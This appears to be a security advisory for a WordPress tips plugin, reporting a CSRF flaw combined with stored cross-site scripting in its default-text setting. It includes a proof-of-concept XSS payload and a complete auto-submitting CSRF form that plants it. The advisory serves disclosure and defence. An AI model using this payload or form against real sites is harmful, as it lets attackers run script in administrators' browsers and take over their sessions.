The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue
Add the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: "><img src onerror=confirm(/XSS/)> Via CSRF: <html> <body> <form action="http://example.com/wp-admin/admin.php?page=daily-tip" method="POST" enctype="multipart/form-data"> <input type="hidden" name="default_tip" value='"><img src onerror=confirm(/XSS/)>' /> <input type="hidden" name="default_text" value="Save" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Akash Rajendra Patil
Akash Rajendra Patil
Yes
2021-09-21 (about 9 months ago)
2021-09-21 (about 9 months ago)
2022-04-09 (about 2 months ago)